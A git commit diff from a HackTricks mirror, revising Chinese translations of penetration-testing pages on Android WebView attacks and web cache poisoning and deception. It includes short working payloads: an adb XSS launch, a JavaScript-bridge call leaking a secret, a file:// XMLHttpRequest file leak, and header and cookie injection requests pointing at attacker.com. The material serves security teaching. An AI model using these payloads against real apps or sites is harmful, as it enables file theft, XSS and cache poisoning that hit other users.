mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md
This commit is contained in:
parent
8e7e4b2cc5
commit
83772be26d
5 changed files with 415 additions and 268 deletions
|
@ -9,99 +9,106 @@
|
|||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上**关注**我们。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## WebView 配置和安全简明指南
|
||||
## WebView 配置和安全指南
|
||||
|
||||
### WebView 漏洞概述
|
||||
|
||||
Android 开发的一个关键方面是正确处理 WebViews。本指南突出了关键配置和安全实践,以减轻与 WebView 使用相关的风险。
|
||||
Android 开发的一个关键方面是正确处理 WebViews。本指南重点介绍了用于减轻与 WebView 使用相关风险的关键配置和安全实践。
|
||||
|
||||
![WebView 示例](../../.gitbook/assets/image%20(718).png)
|
||||
![WebView 示例](<../../.gitbook/assets/image (718).png>)
|
||||
|
||||
### **WebViews 中的文件访问**
|
||||
|
||||
默认情况下,WebViews 允许文件访问。此功能由 `setAllowFileAccess()` 方法控制,自 Android API 级别 3(杯子蛋糕 1.5)起可用。拥有 **android.permission.READ_EXTERNAL_STORAGE** 权限的应用程序可以使用文件 URL 方案(`file://path/to/file`)从外部存储器中读取文件。
|
||||
默认情况下,WebViews 允许文件访问。此功能由 `setAllowFileAccess()` 方法控制,自 Android API 级别 3(杯子蛋糕 1.5)起可用。拥有 **android.permission.READ\_EXTERNAL\_STORAGE** 权限的应用程序可以使用文件 URL 方案(`file://path/to/file`)从外部存储器读取文件。
|
||||
|
||||
#### **已弃用功能:通用访问和来自 URL 的文件访问**
|
||||
|
||||
- **来自文件 URL 的通用访问**:此已弃用功能允许来自文件 URL 的跨源请求,由于潜在的 XSS 攻击风险,构成重大安全风险。针对 Android Jelly Bean 及更新版本的应用程序,默认设置为已禁用(`false`)。
|
||||
- 要检查此设置,请使用 `getAllowUniversalAccessFromFileURLs()`。
|
||||
- 要修改此设置,请使用 `setAllowUniversalAccessFromFileURLs(boolean)`。
|
||||
|
||||
- **来自文件 URL 的文件访问**:此功能也已弃用,控制对其他文件方案 URL 中内容的访问。与通用访问类似,出于增强安全性的考虑,默认设置为已禁用。
|
||||
- 使用 `getAllowFileAccessFromFileURLs()` 进行检查,使用 `setAllowFileAccessFromFileURLs(boolean)` 进行设置。
|
||||
* **来自文件 URL 的通用访问**:此已弃用功能允许来自文件 URL 的跨源请求,由于潜在的 XSS 攻击风险,构成重大安全风险。针对 Android Jelly Bean 及更新版本的应用程序,默认设置为禁用(`false`)。
|
||||
* 要检查此设置,请使用 `getAllowUniversalAccessFromFileURLs()`。
|
||||
* 要修改此设置,请使用 `setAllowUniversalAccessFromFileURLs(boolean)`。
|
||||
* **来自文件 URL 的文件访问**:此功能也已弃用,控制对其他文件方案 URL 的内容访问。与通用访问一样,其默认设置为禁用以增强安全性。
|
||||
* 使用 `getAllowFileAccessFromFileURLs()` 进行检查,使用 `setAllowFileAccessFromFileURLs(boolean)` 进行设置。
|
||||
|
||||
#### **安全文件加载**
|
||||
|
||||
为了在仍然访问资产和资源的同时禁用文件系统访问,使用 `setAllowFileAccess()` 方法。在 Android R 及更高版本中,默认设置为 `false`。
|
||||
- 使用 `getAllowFileAccess()` 进行检查。
|
||||
- 使用 `setAllowFileAccess(boolean)` 启用或禁用。
|
||||
|
||||
* 使用 `getAllowFileAccess()` 进行检查。
|
||||
* 使用 `setAllowFileAccess(boolean)` 启用或禁用。
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
**WebViewAssetLoader** 类是加载本地文件的现代方法。它使用 http(s) URL 访问本地资产和资源,符合同源策略,从而便于 CORS 管理。
|
||||
|
||||
### **JavaScript 和 Intent 方案处理**
|
||||
### loadUrl
|
||||
|
||||
- **JavaScript**:在 WebViews 中默认禁用,可以通过 `setJavaScriptEnabled()` 启用。建议谨慎操作,因为未经适当保护启用 JavaScript 可能引入安全漏洞。
|
||||
这是在 WebView 中加载任意 URL 的常用函数。
|
||||
```java
|
||||
webview.loadUrl("<url here>")
|
||||
```
|
||||
### **JavaScript和Intent Scheme处理**
|
||||
|
||||
- **Intent 方案**:WebViews 可以处理 `intent` 方案,如果不小心管理,可能导致利用漏洞。一个示例漏洞涉及一个暴露的 WebView 参数 "support_url",可能被利用以执行跨站脚本(XSS)攻击。
|
||||
- **JavaScript**:在WebViews中默认禁用,可以通过`setJavaScriptEnabled()`启用。建议谨慎操作,因为未经适当保护启用JavaScript可能会引入安全漏洞。
|
||||
- **Intent Scheme**:WebViews可以处理`intent`方案,如果管理不慎可能导致利用漏洞。一个示例漏洞涉及一个暴露的WebView参数"support\_url",可能被利用来执行跨站脚本(XSS)攻击。
|
||||
|
||||
![易受攻击的 WebView](../../.gitbook/assets/image%20(719).png)
|
||||
![易受攻击的WebView](<../../.gitbook/assets/image (719).png>)
|
||||
|
||||
使用 adb 进行利用示例:
|
||||
利用示例使用adb:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### JavaScript桥接
|
||||
|
||||
Android提供了一项功能,允许**WebView中的JavaScript**调用**本机Android应用程序功能**。这是通过利用`addJavascriptInterface`方法实现的,该方法将JavaScript与本机Android功能集成,被称为_WebView JavaScript桥接_。需要注意的是,此方法允许WebView中的所有页面访问已注册的JavaScript接口对象,如果通过这些接口公开敏感信息,则存在安全风险。
|
||||
Android提供了一项功能,允许WebView中的**JavaScript**调用**本机Android应用功能**。这是通过利用`addJavascriptInterface`方法实现的,该方法将JavaScript与本机Android功能集成,称为_WebView JavaScript桥接_。建议谨慎使用此方法,因为该方法允许WebView中的所有页面访问已注册的JavaScript接口对象,如果通过这些接口公开敏感信息,则存在安全风险。
|
||||
|
||||
### 重要考虑事项
|
||||
|
||||
- 针对Android版本低于4.2的应用程序需要**极度谨慎**,因为存在一种漏洞,允许通过恶意JavaScript利用反射进行远程代码执行。
|
||||
* 针对目标Android版本低于4.2的应用程序,**需要极度谨慎**,因为存在一种漏洞,允许通过恶意JavaScript利用反射进行远程代码执行。
|
||||
|
||||
#### 实现JavaScript桥接
|
||||
|
||||
- **JavaScript接口**可以与本机代码交互,如示例所示,其中一个类方法暴露给JavaScript:
|
||||
* **JavaScript接口**可以与本机代码交互,如示例所示,将类方法暴露给JavaScript:
|
||||
```javascript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
```
|
||||
- 通过向WebView添加接口来启用JavaScript Bridge:
|
||||
* 通过向WebView添加接口来启用JavaScript Bridge:
|
||||
```javascript
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
|
||||
webView.reload();
|
||||
```
|
||||
- 通过 JavaScript 可能存在的利用,例如通过 XSS 攻击,可以调用暴露的 Java 方法:
|
||||
* 通过 JavaScript 可能会存在潜在的利用漏洞,例如通过 XSS 攻击,从而可以调用暴露的 Java 方法:
|
||||
```html
|
||||
<script>alert(javascriptBridge.getSecret());</script>
|
||||
```
|
||||
- 为了降低风险,**限制 JavaScript 桥接的使用**仅限于与 APK 一起提供的代码,并防止从远程来源加载 JavaScript。对于较旧的设备,将最低 API 级别设置为 17。
|
||||
* 为了减少风险,将**限制 JavaScript 桥接的使用** 仅限于随 APK 一起提供的代码,并防止从远程来源加载 JavaScript。对于较旧的设备,将最低 API 级别设置为 17。
|
||||
|
||||
### 基于反射的远程代码执行(RCE)
|
||||
|
||||
- 通过反射执行特定有效负载可以实现 RCE 的已记录方法。然而,`@JavascriptInterface` 注解防止未经授权的方法访问,限制了攻击面。
|
||||
* 通过执行特定有效负载,可以通过反射实现 RCE 的已记录方法。然而,`@JavascriptInterface` 注解防止未经授权的方法访问,限制了攻击面。
|
||||
|
||||
### 远程调试
|
||||
|
||||
- 使用 **Chrome 开发者工具** 可以进行远程调试,从而在 WebView 内容中实现交互和任意 JavaScript 执行。
|
||||
* 使用 **Chrome 开发者工具** 可以进行 **远程调试**,从而在 WebView 内容中实现交互和任意 JavaScript 执行。
|
||||
|
||||
#### 启用远程调试
|
||||
|
||||
- 可以通过以下方式为应用程序中的所有 WebView 启用远程调试:
|
||||
* 可以通过以下方式为应用程序中的所有 WebView 启用远程调试:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
- 根据应用程序的 debuggable 状态有条件地启用调试:
|
||||
* 根据应用程序的可调试状态有条件地启用调试:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
|
@ -110,7 +117,7 @@ if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
|||
```
|
||||
## 泄露任意文件
|
||||
|
||||
- 展示使用XMLHttpRequest泄露任意文件:
|
||||
* 展示使用XMLHttpRequest泄露任意文件:
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
|
@ -122,20 +129,23 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat
|
|||
xhr.send(null);
|
||||
```
|
||||
## 参考资料
|
||||
|
||||
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||||
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||||
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上**关注我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
|
@ -46,26 +46,26 @@
|
|||
### 发现:缓存400状态码
|
||||
|
||||
如果您认为响应被存储在缓存中,可以尝试**发送带有错误头部的请求**,应该会收到**状态码400**的响应。然后尝试正常访问请求,如果**响应是400状态码**,则表示存在漏洞(甚至可以执行DoS攻击)。\
|
||||
一个糟糕配置的头部可能只是`\:`作为头部。\
|
||||
一个配置不当的头部可能只是`\:`作为头部。\
|
||||
_请注意,有时这些类型的状态码不会被缓存,因此此测试将无效。_
|
||||
|
||||
### 发现:识别和评估无键输入
|
||||
|
||||
您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能改变页面响应的参数和头部**。例如,页面可能使用头部`X-Forwarded-For`来指示客户端从那里加载脚本:
|
||||
您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能会改变页面响应的参数和头部**。例如,页面可能正在使用头部`X-Forwarded-For`来指示客户端从那里加载脚本:
|
||||
```markup
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
### 引发后端服务器的有害响应
|
||||
|
||||
通过识别的参数/标头,检查它是如何被**清理**以及它是如何**反映**或影响标头响应的。您能否以任何方式滥用它(执行 XSS 或加载由您控制的 JS 代码?执行 DoS?...)
|
||||
通过识别的参数/标头,检查它是如何被**清理**以及它是如何**反映**或影响来自标头的响应的。您能以任何方式滥用它吗(执行 XSS 或加载由您控制的 JS 代码?执行 DoS?...)
|
||||
|
||||
### 获取响应缓存
|
||||
|
||||
一旦您**确定**了可以滥用的**页面**,要使用的**参数**/**标头**以及如何**滥用**它,您需要将页面缓存。取决于您尝试缓存的资源,这可能需要一些时间,您可能需要尝试几秒钟。\
|
||||
一旦您**确定**了可以滥用的**页面**,要使用的**参数**/**标头**以及如何**滥用**它,您需要将页面缓存。根据您尝试缓存的资源,这可能需要一些时间,您可能需要尝试几秒钟。\
|
||||
响应中的标头**`X-Cache`**可能非常有用,因为当请求未被缓存时,它可能具有值**`miss`**,而当它被缓存时,它可能具有值**`hit`**。\
|
||||
标头**`Cache-Control`**也很有趣,可以知道资源是否被缓存,下次资源将再次被缓存的时间是什么时候:`Cache-Control: public, max-age=1800`\
|
||||
标头**`Cache-Control`** 也很有趣,可以知道资源是否被缓存以及下次资源将再次被缓存的时间:`Cache-Control: public, max-age=1800`\
|
||||
另一个有趣的标头是**`Vary`**。此标头通常用于**指示其他标头**,即使它们通常是无键的,也被视为**缓存键**的一部分。因此,如果用户知道受害者的 `User-Agent`,他可以为使用该特定 `User-Agent` 的用户毒害缓存。\
|
||||
与缓存相关的另一个标头是**`Age`**。它定义了对象在代理缓存中存在的秒数。
|
||||
与缓存相关的另一个标头是**`Age`**。它定义了对象在代理缓存中存在的时间(以秒为单位)。
|
||||
|
||||
在缓存请求时,要**小心使用标头**,因为其中一些可能会**意外使用**为**键**,受害者将需要使用相同的标头。始终使用**不同的浏览器**测试缓存毒害以检查是否有效。
|
||||
|
||||
|
@ -74,7 +74,7 @@ _请注意,有时这些类型的状态码不会被缓存,因此此测试将
|
|||
### 最简单的示例
|
||||
|
||||
像 `X-Forwarded-For` 这样的标头在响应中未经过清理地反映出来。\
|
||||
您可以发送基本的 XSS 负载并毒害缓存,因此每个访问页面的人都将受到 XSS 攻击:
|
||||
您可以发送基本的 XSS 负载并毒害缓存,因此每个访问该页面的人都将受到 XSS 攻击:
|
||||
```markup
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
|
@ -88,11 +88,11 @@ GET / HTTP/1.1
|
|||
Host: vulnerable.com
|
||||
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
||||
```
|
||||
### 利用路径遍历进行缓存欺骗以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### 利用路径遍历进行缓存污染以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过类似 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 来窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 在请求到达 Web 服务器时并未对 URL 进行规范化。
|
||||
|
||||
### 利用多个标头来利用 Web 缓存欺骗漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
### 利用多个标头来利用 Web 缓存污染漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
有时,您需要**利用多个未加密的输入**来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域,并将 `X-Forwarded-Scheme` 设置为 `http`,**如果**服务器将所有**HTTP**请求**转发到 HTTPS**,并使用标头 `X-Forwarded-Scheme` 作为重定向的域名,您可以通过重定向控制页面指向的位置。
|
||||
```markup
|
||||
|
@ -110,20 +110,20 @@ Host: vulnerbale.net
|
|||
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
|
||||
X-Host: attacker.com
|
||||
```
|
||||
### 利用 HTTP 请求串行滥用 HTTP 缓存欺骗
|
||||
### 利用 HTTP 请求串联滥用 HTTP 缓存欺骗进行 HTTP 缓存中毒攻击
|
||||
|
||||
了解如何通过滥用 HTTP 请求串行执行[利用 HTTP 请求串行执行 Web 缓存欺骗攻击](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)。
|
||||
了解如何通过[滥用 HTTP 请求串联来执行缓存中毒攻击](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning)。
|
||||
|
||||
### Web 缓存欺骗的自动化测试
|
||||
### Web 缓存中毒的自动化测试
|
||||
|
||||
可以使用[Web 缓存漏洞扫描器](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)自动测试 Web 缓存欺骗。它支持许多不同的技术,并且高度可定制化。
|
||||
可以使用[Web 缓存漏洞扫描器](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)自动测试 Web 缓存中毒。它支持许多不同的技术,并且高度可定制。
|
||||
|
||||
示例用法:`wcvs -u example.com`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由全球**最先进**的社区工具支持。\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流**,利用全球**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -132,11 +132,11 @@ X-Host: attacker.com
|
|||
|
||||
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
|
||||
|
||||
ATS 转发了 URL 中的片段而没有剥离它,并且仅使用主机、路径和查询生成缓存密钥(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端作为 `/#/../?r=javascript:alert(1)`,缓存密钥中不包含有效载荷,只有主机、路径和查询。
|
||||
ATS 转发了 URL 中的片段而没有剥离它,并且仅使用主机、路径和查询生成缓存键(忽略片段)。因此,请求 `/#/../?r=javascript:alert(1)` 被发送到后端作为 `/#/../?r=javascript:alert(1)`,缓存键中不包含有效载荷,只有主机、路径和查询。
|
||||
|
||||
### GitHub CP-DoS
|
||||
|
||||
在内容类型标头中发送错误值会触发 405 缓存响应。缓存密钥包含了 cookie,因此只能攻击未经授权的用户。
|
||||
在内容类型标头中发送错误值会触发 405 缓存响应。缓存键包含了 cookie,因此只能攻击未经授权的用户。
|
||||
|
||||
### GitLab + GCP CP-DoS
|
||||
|
||||
|
@ -148,19 +148,19 @@ GitLab 使用 GCP 存储静态内容。**GCP 存储桶**支持**头部 `x-http-m
|
|||
|
||||
### 403 和存储桶
|
||||
|
||||
Cloudflare 以前缓存 403 响应。尝试使用不正确的授权标头访问 S3 或 Azure 存储块会导致缓存的 403 响应。尽管 Cloudflare 已停止缓存 403 响应,但这种行为可能仍存在于其他代理服务中。
|
||||
Cloudflare 以前会缓存 403 响应。尝试使用不正确的授权标头访问 S3 或 Azure 存储块会导致缓存的 403 响应。尽管 Cloudflare 已停止缓存 403 响应,但这种行为可能仍存在于其他代理服务中。
|
||||
|
||||
### 注入键参数
|
||||
|
||||
缓存通常在缓存密钥中包含特定的 GET 参数。例如,Fastly 的 Varnish 在请求中缓存了 `size` 参数。但是,如果还发送了参数的 URL 编码版本(例如,`siz%65`)并陦有错误值,缓存密钥将使用正确的 `size` 参数构建。然而,后端会处理 URL 编码参数中的值。将第二个 `size` 参数进行 URL 编码导致缓存中省略该参数,但后端会使用它。将此参数赋值为 0 会导致可缓存的 400 Bad Request 错误。
|
||||
缓存通常在缓存键中包含特定的 GET 参数。例如,Fastly 的 Varnish 在请求中缓存了 `size` 参数。但是,如果还发送了参数的 URL 编码版本(例如,`siz%65`)并陦有错误值,缓存键将使用正确的 `size` 参数构建。然而,后端会处理 URL 编码参数中的值。将第二个 `size` 参数进行 URL 编码会导致缓存中省略该参数,但后端会使用它。将此参数赋值为 0 会导致可缓存的 400 错误请求。
|
||||
|
||||
### 用户代理规则
|
||||
|
||||
一些开发人员阻止与高流量工具(如 FFUF 或 Nuclei)匹配的用户代理的请求,以管理服务器负载。具有讽刺意味的是,这种方法可能会引入缓存欺骗和 DoS 等漏洞。
|
||||
一些开发人员会阻止与高流量工具(如 FFUF 或 Nuclei)匹配的用户代理的请求,以管理服务器负载。具有讽刺意味的是,这种方法可能会引入缓存中毒和 DoS 等漏洞。
|
||||
|
||||
### 非法头字段
|
||||
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)指定头部名称中可接受的字符。头部包含指定**tchar**范围之外的字符应该理想地触发 400 Bad Request 响应。实际上,服务器并不总是遵循这个标准。一个值得注意的例子是 Akamai,它会转发带有非法字符的头部并缓存任何 400 错误,只要没有出现 `cache-control` 头部。发现了一个可利用的模式,发送带有非法字符的头部,例如 `\`,会导致可缓存的 400 Bad Request 错误。
|
||||
[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) 指定了头部名称中可接受的字符。头部包含指定 **tchar** 范围之外的字符应该触发 400 Bad Request 响应。实际上,服务器并不总是遵循这个标准。一个值得注意的例子是 Akamai,它会转发带有无效字符的头部并缓存任何 400 错误,只要没有出现 `cache-control` 头部。发现了一个可利用的模式,发送带有非法字符的头部,例如 `\`,会导致可缓存的 400 Bad Request 错误。
|
||||
|
||||
### 查找新的头部
|
||||
|
||||
|
@ -170,7 +170,7 @@ Cloudflare 以前缓存 403 响应。尝试使用不正确的授权标头访问
|
|||
|
||||
缓存欺骗的目标是使客户端**加载将由缓存保存的资源及其敏感信息**。
|
||||
|
||||
首先注意,例如 `.css`、`.js`、`.png` 等**扩展名**通常被**配置**为**保存**在**缓存中**。因此,如果访问 `www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到了 `.js` **扩展名**。但是,如果**应用程序**正在**重放**存储在 _www.example.com/profile.php_ 中的**敏感**用户内容,您可以从其他用户那里**窃取**这些内容。
|
||||
首先请注意,`.css`、`.js`、`.png` 等**扩展名**通常被**配置**为**保存**在**缓存**中。因此,如果访问 `www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到了 `.js` **扩展名**。但是,如果**应用程序**正在**重放**存储在 _www.example.com/profile.php_ 中的**敏感**用户内容,您可以从其他用户那里**窃取**这些内容。
|
||||
|
||||
其他要测试的内容:
|
||||
|
||||
|
@ -185,9 +185,13 @@ Cloudflare 以前缓存 403 响应。尝试使用不正确的授权标头访问
|
|||
在这个例子中,解释了如果加载一个不存在的页面,如 _http://www.example.com/home.php/non-existent.css_,将返回 _http://www.example.com/home.php_ 的内容(**带有用户的敏感信息**),并且缓存服务器将保存结果。\
|
||||
然后,**攻击者**可以在自己的浏览器中访问 _http://www.example.com/home.php/non-existent.css_ 并观察之前访问过的用户的**机密信息**。
|
||||
|
||||
请注意,**缓存代理**应该根据文件的**扩展名**(_.css_)而不是根据内容类型来**配置**缓存文件。在示例中,_http://www.example.com/home.php/non-existent.css_ 将具有 `text/html` 内容类型,而不是预期的 `text/css` MIME 类型(这是 _.css_ 文件的预期类型)。
|
||||
请注意,**缓存代理**应该根据文件的扩展名(_.css_)而不是根据内容类型来**配置**缓存文件。在示例中,_http://www.example.com/home.php/non-existent.css_ 将具有 `text/html` 内容类型,而不是预期的 `text/css` MIME 类型(这是 _.css_ 文件的预期类型)。
|
||||
|
||||
了解如何通过[滥用 HTTP 请求串行执行 Web 缓存欺骗攻击](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)。
|
||||
了解如何通过[滥用 HTTP 请求串联来执行缓存欺骗攻击](http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-deception)。
|
||||
|
||||
## 自动化工具
|
||||
|
||||
* [**toxicache**](https://github.com/xhzeem/toxicache):Golang 扫描器,用于在 URL 列表中查找 Web 缓存中毒漏洞并测试多种注入技术。
|
||||
|
||||
## 参考资料
|
||||
|
||||
|
@ -201,7 +205,7 @@ Cloudflare 以前缓存 403 响应。尝试使用不正确的授权标头访问
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由全球**最先进**的社区工具支持。\
|
||||
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流**,利用全球**最先进**的社区工具。\
|
||||
立即获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -209,7 +213,7 @@ Cloudflare 以前缓存 403 响应。尝试使用不正确的授权标头访问
|
|||
<details>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
